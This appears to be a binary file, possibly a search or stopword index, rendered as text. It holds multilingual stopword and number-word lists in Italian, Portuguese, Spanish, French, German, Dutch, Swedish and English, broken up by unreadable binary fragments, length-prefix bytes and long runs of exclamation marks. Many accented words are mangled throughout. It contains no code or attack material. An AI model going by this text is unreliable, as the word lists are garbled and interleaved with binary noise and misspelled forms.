4quarantaseiesimo0
.quarantasette0
6quarantasettesimo0
4quarantatreesimo0
*quarantatr0
q0
q0
q0
 prosit0
qua0
*quadriljoen0
przez0
przy0
przed0
q0
pra0
pde0
"prpria0
$prprias0
"prprio0
$prprios0
.provavelmente0
"prximo0
pude0
"pudemos0
puder0
 pudera0
"puderam0
&pudramos0
"puderas0
$puderdes0
$pudreis0
"puderem0
"puderes0
$pudermos0
"pudesse0
&pudsseis0
$pudessem0
(pudssemos0
$pudesses0
"pudeste0
$pudestes0
,quadragsima0
.quadragsimas0
,quadragsimo0
.quadragsimos0
4quadringentsima0
6quadringentsimas0
4quadringentsimo0
6quadringentsimos0
quais0
&quaisquer0
qual0
$qualquer0
 quando0
 quanta0
"quantas0
 quanto0
"quantos0
q0
qual0
$qualquer0
 quando0
 quanto0
q0
q0
 prosit0
pst0
p0
q0
qche0
*qualcheduna0
*qualcheduno0
.qualcos'altro0
$qualcosa0
"qualcun0
.qualcun'altra0
$qualcuna0
$qualcuno0
quale0
quali0
"qualora0
&qualsiasi0
&qualsisia0
,qualsivoglia0
*quand'anche0
 quando0
 quanta0
 quante0
 quanti0
 quanto0
(quantunque0
$quaranta0
0quarantacinque0
8quarantacinquesimo0
*quarantadue0
2quarantaduesimo0
,quarantamila0
,quarantanove0
4quarantanovesimo0
:quarantaquattresimo0
2quarantaquattro0
*quarantasei0
4quarantaseiesimo0
.quarantasette0
6quarantasettesimo0
`,b6


v
F
"
lL*
z	Z0xZ6


p
F

		f0d8
r\:$ N"F08R6	hF,		n	R	bB ~bF(lRLT6vT0|X2\t(x0f@J(p(nPd2	`
U|aE0
$quarante0
*quarantime0
,quarantimes0
$quatorze0
*quatorzime0
,quatorzimes0
 quatre0
&quatrime0
(quatrimes0
"quatsch0
que0

que0
quel0
 quelle0
"quelles0
&quelqu'un0
(quelqu'une0
quels0

$queramos0

 quered0

$queremos0

 querer0

"querido0

&queriendo0

&querremos0

 querr0

"querrn0

"querrs0

 querr0

$querris0

"querra0

&querrais0

(querramos0

$querran0

$querras0

"queris0

"queris0

 quera0

$querais0

&queramos0

"queran0

"queras0
qui0

quia0
&quiconque0
quiek0

quien0

"quienes0

.quienesquiera0

*quienquiera0

 quiera0

"quieran0

"quieras0

 quiere0

"quieren0

"quieres0

 quiero0

 quince0

$quincena0

&quincenas0

$quinceno0

&quincenos0

.quincuagsima0

0quincuagsimas0

.quincuagsimo0

0quincuagsimos0

.quingentsima0

0quingentsimas0

.quingentsimo0

0quingentsimos0

(quinientos0

 quinta0

"quintas0

 quinto0

"quintos0
 quinze0
&quinzime0
(quinzimes0

quise0
,quarantesimo0
2quarantottesimo0
*quarantotto0
&quarantun0
0quarantunesimo0
(quarantuno0
 quarto0
2quattordicesimo0
*quattordici0
2quattordicimila0
"quattro0
4quattrocentesimo0
,quattrocento0
4quattrocentomila0
*quattromila0
 quegli0
quei0
quel0
 quella0
 quelle0
 quelli0
 quello0
 questa0
 queste0
 questi0
 questo0
 quindi0
,quindicesimo0
$quindici0
,quindicimila0
 quinto0
quasi0
*quintiljoen0
$quarenta0
 quarta0
"quartas0
 quarto0
"quartos0
quase0
$quatorze0
 quatro0
,quatrocentas0
,quatrocentos0
que0
 queira0
$queirais0
"queiram0
&queiramos0
"queiras0
quem0
quer0
quere0
 querei0
"quereis0
 querem0
$queremos0
$querendo0
 querer0
"querer0
$querero0
$querers0
&quererdes0
$quererei0
&querereis0
$quererem0
(quereremos0
$quereres0
$quereria0
&quereriam0
*quereramos0
&quererias0
(querereis0
&querermos0
 queres0
 queria0
"queriam0
&queramos0
"querias0
"querida0
$queridas0
"querido0
$queridos0
$quereis0
quero0
(quinhentas0
(quinhentos0
 quinta0
"quintas0
 quinto0
"quintos0
 quinze0
quis0
$quisemos0
 quiser0
"quisera0
$quiseram0
$quiseras0
&quiserdes0
$quiserem0
$quiseres0
&quisermos0
$quisesse0
&quisessem0
&quisesses0
$quiseste0
&quisestes0
quase0
 quatro0
que0
quem0
querridos0
$quereis0
quero0
qui0
.qingentsima0
0qingentsimas0
.qingentsimo0
0qingentsimos0
(quinhentas0
(quinhentos0
.qinquagsima0
0qinquagsimas0
.qinquagsimo0
0qinquagsimos0
 quinta0
"quintas0
 quinto0
"quintos0
&quntuplo0
 quinze0
quis0
$quisemos0
 quiser0
"quiseR.tP*|j`B@


N
x
P
l 
			td	6		hD$~\<`D*T4*V|Z8\<Nj|4V0vR,J~&Z:vT4tXZ8<


^
<

btT(>0x xf6`
U:xG+0

(sexagsima0

*sexagsimas0

(sexagsimo0

*sexagsimos0

,sexcentsima0

.sexcentsimas0

,sexcentsimo0

.sexcentsimos0

sexta0

 sextas0

sexto0

 sextos0

seis0
sgu0
 should0
	 should0
 should0
	 should0
si0

si0
sich0
siden0

sido0
sie0
 sieben0
*siebenerlei0
$siebente0
&siebentem0
&siebenten0
&siebenter0
&siebentes0
4siebenundachtzig0
:siebenundachtzigste0
<siebenundachtzigstem0
<siebenundachtzigsten0
<siebenundachtzigster0
<siebenundachtzigstes0
4siebenunddreiig0
:siebenunddreiigste0
<siebenunddreiigstem0
<siebenunddreiigsten0
<siebenunddreiigster0
<siebenunddreiigstes0
4siebenundfnfzig0
:siebenundfnfzigste0
<siebenundfnfzigstem0
<siebenundfnfzigsten0
<siebenundfnfzigster0
<siebenundfnfzigstes0
4siebenundneunzig0
:siebenundneunzigste0
<siebenundneunzigstem0
<siebenundneunzigsten0
<siebenundneunzigster0
<siebenundneunzigstes0
4siebenundsechzig0
:siebenundsechzigste0
<siebenundsechzigstem0
<siebenundsechzigsten0
<siebenundsechzigster0
<siebenundsechzigstes0
4siebenundsiebzig0
:siebenundsiebzigste0
<siebenundsiebzigstem0
<siebenundsiebzigsten0
<siebenundsiebzigster0
<siebenundsiebzigstes0
4siebenundvierzig0
:siebenundvierzigste0
<siebenundvierzigstem0
<siebenundvierzigsten0
<siebenundvierzigster0
<siebenundvierzigstes0
4siebenundzwanzig0
:siebenundzwanzigste0
si0
sia0
siamo0
siano0
siate0
 sicch0
"siccome0
 should0
 should0
si0
*sexagsimas0
(sexagsimo0
*sexagsimos0
,sexcentsima0
.sexcentsimas0
,sexcentsimo0
.sexcentsimos0
sexta0
 sextas0
sexto0
 sextos0
si0
sic0
sido0
sido0
&sexhundra0
 sextio0
*sextioandra0
*sextioandre0
$sextioen0
&sextioett0
&sextiofem0
*sextiofemte0
,sextiofjrde0
(sextiofyra0
,sextiofrsta0
,sextiofrste0
&sextionde0
&sextionio0
,sextionionde0
&sextiosex0
,sextiosjette0
&sextiosju0
,sextiosjunde0
&sextiotre0
,sextiotredje0
&sextiotv0
(sextiotta0
.sextiottonde0
 sexton0
$sextonde0
$sextusen0
si0
 shouldro0
 sodass0
soda0
 sofern0
soi0
 soient0
sois0

sois0
soit0
$soixante0
*soixantime0
,soixantimes0

"solamos0
 solang0
"solange0
solch0
 solche0
"solchem0
"solchen0
"solcher0
(solcherart0
"solches0

"solemos0

soler0

"soliera0

&solierais0

$solieran0

$solieras0

"soliese0

&solieseis0

$soliesen0

$solieses0

(soliramos0

(solisemos0
soll0
solle0
 sollen0
"sollend0
"sollest0
 sollet0
 sollst0
sollt0
 sollte0
"sollten0
$solltest0
"solltet0

 solis0

 solis0

sola0

"solais0

$solamos0

 solan0

 solas0
si0
sia0
siamo0
siano0
siate0
 sicch0
"siccome0
siete0
$signorn0
$signors0
sii0
sin0
 should0
 should0
si0
*sexagsimas0X$

p
4
Nh,

x
>


		V		p4N^$x<lF rV8>~f`lR4F(lDzN(X0j@^0b6`
UNJGڻ0
<siebenundzwanzigstem0
<siebenundzwanzigsten0
<siebenundzwanzigster0
<siebenundzwanzigstes0
 siebte0
"siebtem0
"siebten0
"siebter0
"siebtes0
$siebzehn0
(siebzehnte0
*siebzehntem0
*siebzehnten0
*siebzehnter0
*siebzehntes0
"siebzig0
(siebzigste0
*siebzigstem0
*siebzigsten0
*siebzigster0
*siebzigstes0
sien0

 siendo0
 sienne0
"siennes0
siens0
siete0

siete0
sig0
$signorn0
$signors0
sii0
(simplethen0
sin0
sin0

sin0
since0
	since0
since0
	since0
sind0
sine0

sino0
sinon0

$siquiera0
sit0
six0
"sixime0
$siximes0
$sjldent0
skal0
skam0
 skulle0
slags0
snart0
so0
	so0
	so0

so0
 sobald0

sobre0

"socorro0
 sodass0
soda0
 sofern0
soi0
 soient0
sois0

sois0
soit0
$soixante0
*soixantime0
,soixantimes0

"solamos0
 solang0
"solange0
solch0
 solche0
"solchem0
"solchen0
"solcher0
(solcherart0
"solches0

"solemos0

soler0

"soliera0

&solierais0

$solieran0

$solieras0

"soliese0

&solieseis0

$soliesen0

$solieses0

(soliramos0

(solisemos0
soll0
solle0
 sollen0
"sollend0
"sollest0
 sollet0
 sollst0
sollt0
 sollte0
"sollten0
$solltest0
"solltet0

 solis0

 solis0

sola0

"solais0

$solamos0

 solan0

 solas0
 sinch0
sino0
*sintantoch0
(sissignora0
(sissignore0
(sissignori0
solo0
since0
since0
so0
sinds0
&sindsdien0
*sint-jutmis0
.sint-juttemis0
(sjofeltjes0
"slapjes0
"slechts0
(smalletjes0
&sobertjes0
(sodemieter0
sim0
sob0
*sobranceiro0
sobre0
,sobremaneira0
&sobremodo0
,sobrepensado0
&sobretudo0
sois0
sobre0
sig0
(simsalabim0
sin0
sina0
sinom0
sitt0
 sjette0
sju0
&sjuhundra0
 sjunde0
"sjuttio0
,sjuttioandra0
,sjuttioandre0
&sjuttioen0
(sjuttioett0
(sjuttiofem0
,sjuttiofemte0
.sjuttiofjrde0
*sjuttiofyra0
.sjuttiofrsta0
.sjuttiofrste0
(sjuttionde0
(sjuttionio0
.sjuttionionde0
(sjuttiosex0
.sjuttiosjette0
(sjuttiosju0
.sjuttiosjunde0
(sjuttiotre0
.sjuttiotredje0
(sjuttiotv0
*sjuttiotta0
0sjuttiottonde0
"sjutton0
&sjuttonde0
$sjutusen0
sjlv0
 sjlva0
slapp0
 slapps0
slipp0
 slippa0
&slippande0
(slippandes0
"slippas0
"slipper0
 slipps0
"sluppit0
$sluppits0
since0
siz0
sizde0
size0
sizi0
solu0
!sih!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!X8NVrN,



j
J
,

xR0`>



r
P
0

			x	\	d@	 		>hxH^0zZ8jLpT0,rH tFrDpJpbP24.4
tX< xrtZ2Djz\:`6nDpP`
U
HIr40

s0

"sptima0

$sptimas0

"sptimo0

$sptimos0

 stima0

"stimas0

 stimo0

"stimos0
s0

s0
s0
"sdlich0
t0
t0
t0
t0
t0
t0
	t0
ta0

ta0
take0
	take0
take0
	take0

tal0

"tampoco0
 tandis0
tant0

tanta0

 tantas0

tanto0

 tantos0
tapp0
$taratata0

tate0
$tattata0
"tausend0
(tausendste0
*tausendstem0
*tausendsten0
*tausendster0
*tausendstes0
 tayaut0
 taaut0
te0

te0
tel0
telle0
 telles0
tels0
$temmelig0
$tacchete0
tal0
$talaltra0
$talaltro0
tale0
tali0
talun0
 taluna0
 talune0
 taluni0
 taluno0
tanta0
tante0
tanti0
"tantino0
tanto0
te0
teco0
t0
take0
take0
t0
t0
tabee0
(tachtigste0
$tamelijk0
(tappelings0
te0
$tegelijk0
0tegelijkertijd0
$tegemoet0
tegen0
$tegenaan0
"tegenop0
&tegenover0
(telkenmale0
"telkens0
 temeer0
temet0
$temidden0
ten0
tak0
t0
ten0
tego0
temu0
ta0
tej0
t0
t0
te0
s0
 stima0
"stimas0
 stimo0
"stimos0
"stuplo0
$sxtuplo0
s0
ta0
tais0
tal0
 talvez0
 tambm0
$tampouco0
tanta0
 tantas0
tanto0
 tantos0
 tardo0
tarde0
tas0
te0
tem0
temos0
tende0
 tendes0
tendo0
s0
t0
tal0
 tambm0
tem0
t0
t0
t.0
take0
t0
t0
tamamtanto0
te0
teco0
terzo0
ti0
t0
take0
than0
that0
the0
their0
them0
then0
there0
these0
they0
this0
those0
"through0
take0
than0
that0
the0
their0
them0
then0
there0
these0
they0
this0
those0
"through0
t0
t0
tabee0
(tachtigste0
$tamelijk0
(tappelings0
te0
$tegelijk0
0tegelijkertijd0
$tegemoet0
tegen0
$tegenaan0
"tegenop0
&tegenover0
(telkenmale0
"telkens0
 temeer0
temet0
$temidden0
ten0
$teneinde0
(tengevolge0
&tenminste0
&tenslotte0
 tenzij0
ter0
"terdege0
.ternauwernood0
$terstond0
terug0
"terwijl0
$terwille0
$terzijde0
 tevens0
,tevoorschijn0
"tevoren0
"tezamen0
thans0
thuis0
$tienmaal0
"tijdens0
tilt0
tak0
t0
ten0
tego0
temu0
ta0
tej0
t0
t0
te0
s0
 stima0
"stimas0
 stimo0
"stimos0
"stuplo0
$sxtuplo0
s0
ta0
tais0
tal0
 talvez0
 tambm0
$tampouco0
tanta0
 tantas0
tanto0
 tantos0
 tardo0
tarde0
tas0
te0
tem0
temos0
tende0
 tendes0
tendo0
s0
t0
tal0
 tambm0
tem0
t|^vrT4@DZ:
J

~
`
<

	,	h>|`<	 rP2vXh4F	 
vX< ,

\	>	
2d|v`pZ(	J4	
j
H
f&
F
$x`
U|H>C@0
von0
vor0
vor0
.vorbehaltlich0
vore0
vores0
vort0
vos0

vos0

$vosotras0

$vosotros0
votre0
 voudra0
"voudrai0
(voudraient0
$voudrais0
$voudrait0
"voudras0
"voudrez0
$voudriez0
&voudrions0
$voudrons0
$voudront0
&voulaient0
"voulais0
"voulait0
"voulant0
$voulante0
&voulantes0
$voulants0
 voulez0
"vouliez0
$voulions0
"vouloir0
"voulons0
voulu0
 voulue0
"voulues0
&voulurent0
 voulus0
(voulussent0
 voulut0
 voult0
vous0

vra.0

vras.0

vro.0

vros.0
vs0

vtra.0

 vtras.0

vtro.0

 vtros.0
vu0

"vuestra0

$vuestras0

"vuestro0

$vuestros0
vre0
vret0

va0
vtre0
 vtres0
w0
w0
w0
w0
w0
w0
	w0
wann0
	want0
	want0
war0
waren0
warst0
wart0
warum0
was0
was0
	was0
was0
	was0
wau0
way0
	way0
way0
	way0
we0
	we0
we0
	we0
weder0
wegen0
weh0
wehe0
weil0
 vorrai0
$vorranno0
$vorrebbe0
(vorrebbero0
 vorrei0
$vorremmo0
"vorremo0
$vorreste0
$vorresti0
"vorrete0
vorr0
vorr0
*vossignoria0
 vostra0
 vostre0
 vostri0
 vostro0
vuoi0
vuole0
w0
was0
way0
we0
want0
was0
way0
we0
w0
w0
voor0
"vooraan0
 vooraf0
 vooral0
&vooraleer0
(vooralsnog0
"voordat0
&voordezen0
$voordien0
&vooreerst0
&voorgaats0
$voorgoed0
$voorheen0
 voorin0
$voorlang0
&voormaals0
,voornamelijk0
 voorop0
$voorover0
(voorshands0
voort0
$voortaan0
 voorts0
"vooruit0
$voorwaar0
&voorzeker0
>voorzichtigheidshalve0
&voorzover0
voren0
&vrijelijk0
"vrijuit0
"vrijwel0
waar0
"waaraan0
(waarachter0
*waarbeneden0
"waarbij0
(waarbinnen0
&waarboven0
$waardoor0
$waarheen0
 waarin0
&waarlangs0
$waarlijk0
$waarmede0
"waarmee0
 waarna0
$waarnaar0
&waarnaast0
(waarnevens0
 waarom0
(waaromheen0
*waaromtrent0
&waaronder0
 waarop0
$waarover0
&waartegen0
.waartegenover0
"waartoe0
(waartussen0
"waaruit0
"waarvan0
*waarvandaan0
$waarvoor0
 waarzo0
(waarzonder0
"wanneer0
war0
$warempel0
wat0
we0
weder0
"wederom0
0wederopzeggens0
weer0
 weerom0
 wegens0
w0
was0
wam0
wami0
v0
vo0
vria0
 vrias0
vrio0
 vrios0
vs0
vos0
vs0
vossa0
 vossas0
vosso0
 vossos0
vou0
vulgo0
vo0
w0
w0
w0
von0
vore0
vr0
vra0
vrt0
was0
way0
we0
w0
wwhere0
which0
while0
who0
will0
w0
~`~\>B*8&




z
`
F
,
 f
					h	N	2		T:d@Z4xX0
\6^4:fPfP
0Pv`@"R p2dB*
x\d>"~X6nN*zT0~Z6



l
lfL82N
0

`8Fz vV2|V2~Z4bF|`
\U8
xDpnG0
,papperlapapp0
par0

para0
"parbleu0
parce0
"pardauz0
pardi0
"pardieu0

"pardiez0
 pardon0
$parecchi0
&parecchia0
&parecchie0
&parecchio0
"pardoes0
para0
 parado0
"parados0
parai0
 parais0
param0
"paramos0
"parando0
parar0
 parara0
 parar0
"pararam0
"pararo0
"pararas0
"parars0
$parardes0
"pararei0
$parareis0
"pararem0
&pararemos0
"parares0
"pararia0
$parariam0
(pararamos0
$pararias0
&parareis0
$pararmos0
paras0
"parasse0
$parassem0
$parasses0
"paraste0
$parastes0
 parava0
"paravam0
"paravas0
pare0
 parece0
"parecei0
$pareceis0
"parecem0
&parecemos0
&parecendo0
$parecera0
$parecer0
&pareceram0
&parecero0
&pareceras0
&parecers0
(parecerdes0
&parecerei0
(parecereis0
&parecerem0
*pareceremos0
&pareceria0
(pareceriam0
,pareceramos0
(parecerias0
*parecereis0
(parecermos0
"pareces0
&parecesse0
(parecessem0
(parecesses0
&pareceste0
(parecestes0
"pareceu0
 pareci0
"parecia0
$pareciam0
$parecias0
$parecida0
&parecidas0
$parecido0
&parecidos0
para0
 pardonpotei0
"potemmo0
"potendo0
"potente0
"potenti0
poter0
 potere0
$poterono0
"potesse0
&potessero0
"potessi0
&potessimo0
"poteste0
"potesti0
 potete0
"potette0
&potettero0
"potetti0
"pardoes0
pari0
pas0
"passato0
 passim0
per0
petto0
peut0
$plankgas0
 plataf0
"platweg0
 pleite0
"pletter0
,plichtshalve0
$plompweg0
(plotseling0
(plotsklaps0
plus0
"pootaan0
(posteriori0
$potdomme0
po0
pod0
$pomidzy0
para0
 parado0
"parados0
parai0
 parais0
param0
"paramos0
"parando0
parar0
 parara0
 parar0
"pararam0
&parramos0
"pararo0
"pararas0
"parars0
$parardes0
"pararei0
$parareis0
$parreis0
"pararem0
&pararemos0
"parares0
"pararia0
$parariam0
(pararamos0
$pararias0
&parareis0
$pararmos0
paras0
"parasse0
&parsseis0
$parassem0
(parssemos0
$parasses0
"paraste0
$parastes0
 parava0
"paravam0
&parvamos0
"paravas0
$parveis0
pare0
 parea0
$pareais0
"paream0
&pareamos0
"pareas0
 parece0
"parecei0
$pareceis0
"parecem0
&parecemos0
&parecendo0
$parecera0
$parecer0
&pareceram0
*parecramos0
&parecero0
&pareceras0
&parecers0
(parecerdes0
&parecerei0
(parecereis0
(parecreis0
&parecerem0
*pareceremos0
&pareceria0
(pareceriam0
,pareceramos0
(parecerias0
*parecereis0
(parecermos0
"pareces0
&parecesse0
*parecsseis0
(parecessem0
,parecssemos0
(parecesses0
&pareceste0
(parecestes0
"pareceu0
 pareci0
"parecia0
$pareciam0
$parecias0
$parecida0
&parecidas0
$parecido0
&parecidosZ
<d@lF


\

8
4
			j	B		\`@$<dB$zV2\ 8fBz\:z^`
uU
.>0
*centotrenta0
*centottanta0
(centoventi0
cents0
 centun0
*centunesimo0
"centuno0

&centsima0

(centsimas0

&centsimo0

(centsimos0
&cependant0
&certaines0
$certains0
"certuna0
"certune0
"certuni0
"certuno0
ces0
cet0
cette0
ceux0
 chacun0
"chacune0
 chaque0

chau0
che0

che0
*checchessia0
"checch0
chez0
chi0
chic0
*chicchessia0
,chicchirich0
 chiche0

chis0
 chiss0

chist0

chito0

 chitn0
$chiunque0
$chouette0
chut0
ch0
ci0
ciao0
ciao0
*ciascheduna0
*ciascheduno0
"ciascun0
$ciascuna0
$ciascuno0
ciel0

cien0

,cienmilsima0

.cienmilsimas0

,cienmilsimo0

.cienmilsimos0

 ciento0

 cierta0

"ciertas0

 cierto0

"ciertos0
 cincin0

cinco0

&cincuenta0

*cincuentena0

,cincuentenas0

*cincuenteno0

,cincuentenos0
cinq0
&cinquanta0
2cinquantacinque0
:cinquantacinquesimo0
,cinquantadue0
4cinquantaduesimo0
.cinquantamila0
.cinquantanove0
6cinquantanovesimo0
<cinquantaquattresimo0
4cinquantaquattro0
,cinquantasei0
6cinquantaseiesimo0
0cinquantasette0
8cinquantasettesimo0
6cinquantatreesimo0
,cinquantatr0
&cinquante0
.cinquantesimo0
,cinquantime0
.cinquantimes0
4cinquantottesimo0
,cinquantotto0
(cinquantun0
2cinquantunesimo0
*cinquantuno0
 cinque0
2cinquecentesimo0
*cinquecento0
2cinquecentomila0
(cinquemila0
chyba0
ci0
 ciebie0
&centsima0
(centsimas0
&centsimo0
(centsimos0
certa0
(certamente0
 certas0
certo0
 certos0
chus0
cinco0
cerca!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!n<d<


T
.

d.\.

f
4

			p	F	 		H~^>nR.
x\D*,jJ.fDhL.rN(f`:fD`
=U?H	-V0
hanno0
hans0
har0
har0
hardi0
has0
	has0
has0
	has0

has0
hast0

hasta0
hat0
"hatschi0
hatte0
 hatten0
"hattest0
 hattet0
hatzi0
havde0
have0
have0
	have0
have0
	have0
has0
have0
has0
have0
 hardop0
hare0
(harentwege0
&harentwil0
*harentwille0
(harerzijds0
havei0
 haveis0
"havemos0
"havendo0
haver0
$haverdes0
"haverei0
$havereis0
"haverem0
&haveremos0
"haveres0
"haveria0
$haveriam0
$haverias0
$havermos0
hans0
har0
has0
hava0
"havande0
$havandes0
havas0
haver0
has0
have0
hattaheraf0
here0
	here0
here0
	here0
$herefter0
 herfra0
 herhen0
"herimod0
 hermed0
herom0
"herover0
herp0
 herrje0
(herrjemine0
$hersteds0
 hertil0
herud0
 herved0
heu0
hick0
hid0
 hidtil0
hihi0
 hihihi0
him0
	him0
him0
	him0
"himself0
	"himself0
"himself0
	"himself0
$hinanden0
,hinsichtlich0
$hinsides0
 hinter0
hip0
his0
	his0
his0
	his0
 hjemme0
hm0
ho0
ho0
ho0
hoho0

hola0
"holdrio0
holla0
hol0
hop0

hopo0
hopp0
$hopphopp0
 hoppla0
hops0
hopsa0
"hopsala0
"hopsasa0
 hormis0
hors0
has0
have0
he0
her0
here0
him0
"himself0
his0
has0
he0
have0
her0
here0
him0
"himself0
his0
 hardop0
hare0
(harentwege0
&harentwil0
*harentwille0
(harerzijds0
 hebbes0
heden0
(hedenavond0
*hedenmiddag0
*hedenmorgen0
(hedennacht0
,hedenochtend0
&heelhuids0
heen0
 heinde0
 helaas0
$helemaal0
hem0
(hemelsnaam0
"hemzelf0
hen0
henen0
her0
&herwaarts0
het0
"hetgeen0
"hetwelk0
&hetzelfde0
 hetzij0
"heureka0
hiep0
hier0
"hieraan0
(hierachter0
*hierbeneden0
"hierbij0
(hierbinnen0
&hierboven0
(hierbuiten0
$hierdoor0
$hierheen0
 hierin0
&hierlangs0
$hiermede0
"hiermee0
 hierna0
$hiernaar0
&hiernaast0
(hiernevens0
 hierom0
(hieromheen0
.hieromstreeks0
*hieromtrent0
&hieronder0
 hierop0
$hierover0
&hiertegen0
.hiertegenover0
"hiertoe0
(hiertussen0
"hieruit0
"hiervan0
$hiervoor0
&hiervoren0
hij0
"hijzelf0
ho0
hoe0
 hoepla0
(hoeveelste0
$hoeverre0
 hoewel0
 hoezee0
"hoezeer0
$hogelijk0
"hogerop0
hoi0
hola0
0holderdebolder0
*honderdmaal0
0honderdtwintig0
"honoris0
.hoofdzakelijk0
&hoogstens0
"hooguit0
$hopelijk0
havei0
 haveis0
"havemos0
"havendo0
haver0
 haver0
"havero0
"havers0
$haverdes0
"haverei0
$havereis0
"haverem0
&haveremos0
"haveres0
"haveria0
$haveriam0
$haverias0
$havermos0
hans0
harR.
~Z8Ft~F|(dD"nT: d,bL"v~`
U
 G(0
"weitaus0
welch0
 welche0
"welchem0
"welchen0
"welcher0
(welcherart0
(welcherlei0
,welcherweise0
"welches0
well0
well0
	well0
well0
well0
	well0
wem0
wen0
wenig0
 wenige0
"wenigem0
"wenigen0
"weniger0
"weniges0
wenn0
(wenngleich0
&wennschon0
wer0
were0
were0
	were0
were0
were0
	were0
wes0
"weshalb0
 wessen0
$westlich0
$weswegen0
what0
what0
	what0
what0
what0
	what0
when0
	when0
	when0
where0
where0
	where0
where0
where0
	where0
which0
which0
	which0
which0
which0
	which0
while0
while0
	while0
while0
while0
	while0
who0
who0
	who0
who0
who0
	who0
wider0
wie0
"wiefern0
"wiesehr0
wieso0
"wieviel0
,wievielerlei0
(wievielmal0
"wieweit0
"wiewohl0
will0
will0
	will0
	will0
 willen0
 willst0
wir0
wist0
with0
	with0
with0
with0
	with0
wo0
wobei0
 wodran0
"wodrauf0
"wodurch0
 wofern0
wofr0
"wogegen0
woher0
"woherum0
wohin0
$wohinauf0
$wohinaus0
$wohinein0
(wohingegen0
(wohinunter0
wohl0
wolle0
 wollen0
"wollend0
"wollest0
 wollet0
wollt0
 wollte0
"wollten0
$wolltest0
"wolltet0
womit0
with0
wel0
 welaan0
,welbeschouwd0
 weldra0
"weleens0
 weleer0
$welhaast0
&weliswaar0
welk0
welke0
 welkom0
welnu0
.welteverstaan0
@welvoegelijkheidshalve0
$weshalve0
west0
,westzuidwest0
 wetens0
wie0
 wiedes0
wiens0
wier0
wij0
&wijselijk0
"wijzelf0
"willens0
wis0
 witjes0
$wewntrz0
well0
were0
what0
where0
which0
while0
who0
